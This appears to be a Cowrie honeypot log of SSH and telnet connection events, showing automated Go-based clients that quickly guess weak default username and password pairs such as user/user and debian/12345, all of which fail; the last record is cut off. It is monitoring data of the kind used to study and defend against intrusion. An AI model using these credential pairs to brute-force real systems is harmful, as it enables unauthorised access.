{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:43.721802Z","src_ip":"45.156.87.147","session":"e53c7ca887ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:44.097129Z","src_ip":"45.156.87.147","session":"e53c7ca887ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:44.395694Z","src_ip":"91.92.42.227","session":"a9ec7816cda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:45.188651Z","src_ip":"45.156.87.147","session":"e53c7ca887ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.08532476425171,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:45.371349Z","src_ip":"128.199.8.54","session":"232c01e916d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50154,"dst_ip":"10.17.0.5","dst_port":22,"session":"3174732cff4d","protocol":"ssh","message":"New connection: 91.92.42.227:50154 (10.17.0.5:22) [session: 3174732cff4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:46.502791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:47.055346Z","src_ip":"91.92.42.227","session":"3174732cff4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:47.058072Z","src_ip":"91.92.42.227","session":"3174732cff4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8325392206","protocol":"ssh","message":"New connection: 45.156.87.147:48510 (10.17.0.5:22) [session: 9d8325392206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:49.519350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:49.522727Z","src_ip":"45.156.87.147","session":"9d8325392206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:49.606368Z","src_ip":"45.156.87.147","session":"9d8325392206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:49.859179Z","src_ip":"45.156.87.147","session":"9d8325392206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:50.199096Z","src_ip":"91.92.42.227","session":"3174732cff4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:50.942793Z","src_ip":"45.156.87.147","session":"9d8325392206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:51.764450Z","src_ip":"91.92.42.227","session":"3174732cff4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3231aae6f3c","protocol":"ssh","message":"New connection: 91.92.42.227:50222 (10.17.0.5:22) [session: f3231aae6f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:53.730949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:54.076465Z","src_ip":"91.92.42.227","session":"f3231aae6f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:54.079543Z","src_ip":"91.92.42.227","session":"f3231aae6f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48520,"dst_ip":"10.17.0.5","dst_port":22,"session":"9630679952c2","protocol":"ssh","message":"New connection: 45.156.87.147:48520 (10.17.0.5:22) [session: 9630679952c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:55.625685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:55.629305Z","src_ip":"45.156.87.147","session":"9630679952c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:55.711064Z","src_ip":"45.156.87.147","session":"9630679952c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:55.961258Z","src_ip":"45.156.87.147","session":"9630679952c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:56.923186Z","src_ip":"91.92.42.227","session":"f3231aae6f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:57.046128Z","src_ip":"45.156.87.147","session":"9630679952c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:58.596668Z","src_ip":"91.92.42.227","session":"f3231aae6f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42936,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3414b71e53","protocol":"ssh","message":"New connection: 91.92.42.227:42936 (10.17.0.5:22) [session: db3414b71e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:00.302982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.048068Z","src_ip":"91.92.42.227","session":"db3414b71e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.050958Z","src_ip":"91.92.42.227","session":"db3414b71e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49976,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9c32027085","protocol":"ssh","message":"New connection: 45.156.87.147:49976 (10.17.0.5:22) [session: 7f9c32027085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.502586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.507137Z","src_ip":"45.156.87.147","session":"7f9c32027085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.594944Z","src_ip":"45.156.87.147","session":"7f9c32027085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:01.847428Z","src_ip":"45.156.87.147","session":"7f9c32027085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:02.931669Z","src_ip":"91.92.42.227","session":"db3414b71e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:02.934918Z","src_ip":"45.156.87.147","session":"7f9c32027085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:04.242333Z","src_ip":"91.92.42.227","session":"db3414b71e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7556574344635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:04.701397Z","src_ip":"172.81.62.90","session":"8b638bb5506a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48498725891113,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:06.446183Z","src_ip":"172.81.62.90","session":"acb304b1da1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d443b68c1e12","protocol":"ssh","message":"New connection: 45.156.87.147:49978 (10.17.0.5:22) [session: d443b68c1e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:07.517833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:07.614870Z","src_ip":"45.156.87.147","session":"d443b68c1e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:07.618436Z","src_ip":"45.156.87.147","session":"d443b68c1e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:08.012211Z","src_ip":"45.156.87.147","session":"d443b68c1e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45716,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b97a8361f32","protocol":"ssh","message":"New connection: 91.92.42.227:45716 (10.17.0.5:22) [session: 7b97a8361f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:08.490698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:08.506613Z","src_ip":"91.92.42.227","session":"7b97a8361f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-c